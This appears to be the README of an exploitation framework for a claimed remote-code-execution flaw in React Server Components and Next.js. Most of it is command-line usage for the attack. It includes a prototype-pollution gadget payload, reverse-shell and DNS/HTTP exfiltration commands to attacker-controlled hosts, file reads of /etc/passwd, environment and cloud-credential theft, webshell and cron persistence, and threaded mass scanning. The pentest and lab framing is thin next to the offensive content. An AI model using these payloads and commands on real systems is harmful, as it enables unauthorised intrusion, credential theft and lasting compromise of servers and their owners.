FiberBreak

Exploitation framework for CVE-2025-55182 (React2Shell) - Critical RCE vulnerability in React Server Components.

Overview

• CVE: CVE-2025-55182
• CVSS: 10.0 (CRITICAL)
• Type: Remote Code Execution (RCE)
• Affected: React 19.0.0-rc.0 to 19.0.0, Next.js 15.0.0 to 15.0.3
• Discovery: Lachlan Miller (SonarSource)
• Public PoC: maple3142

Installation

# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

Quick Start

# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

Technical Details

Vulnerability Overview

CVE-2025-55182 is a critical remote code execution vulnerability in React Server Components (RSC) that allows unauthenticated attackers to execute arbitrary code on the server.

Root Cause: The React Flight protocol deserializes untrusted client input without proper validation, allowing attackers to craft malicious payloads that abuse JavaScript's prototype chain and Function constructor.

Attack Vector: Attackers send a crafted multipart/form-data POST request with a Next-Action header to any RSC endpoint. The malicious payload leverages:

1. Prototype pollution via __proto__ access
2. Function constructor exposure via constructor:constructor
3. Promise resolution to trigger code execution

Exploitation Flow

1. Attacker sends crafted POST request
   └─ multipart/form-data with malicious JSON
   └─ Next-Action header (any value)

2. Server deserializes payload
   └─ React processes RSC chunk format
   └─ Resolves Promise-like object

3. Gadget chain triggers
   └─ __proto__ access bypasses hasOwnProperty checks
   └─ constructor:constructor exposes Function()
   └─ _prefix executes arbitrary code

4. RCE achieved
   └─ Server executes attacker's JavaScript
   └─ Full system compromise

The Gadget

{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

Affected Code Path

// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

Usage

Vulnerability Detection

# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

Basic Exploitation

# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

Advanced Exploitation

# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

Cloud Exploitation

# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

Payload Types

Type	Format	Description	Output
simple	command	Execute any shell command	Blind
output	command + --callback	Execute with HTTP callback	Yes
reverse_shell	lhost:lport	Bash reverse shell	Interactive
dns_exfil	cmd:domain or domain	DNS exfiltration	DNS logs
http_exfil	cmd:callback_url	HTTP exfiltration	HTTP POST
file_read	filepath:callback	Read and exfiltrate file	HTTP POST
write_file	filepath:content	Write file to disk	Blind
env_dump	callback_url	Dump environment variables	HTTP POST
cloud_metadata	callback_url	Extract cloud credentials	HTTP POST
recon	callback_url	System reconnaissance	HTTP POST
stealth_beacon	domain	DNS beacon	DNS logs
webshell	filepath	Deploy Node.js webshell	Port 8080
persist	callback_url	Install cron persistence	Cron job

Real-World Scenarios

Bug Bounty Hunting

# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Document findings without causing damage

Penetration Testing

# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

Mass Vulnerability Scanning

# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

Cloud Infrastructure Assessment

# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration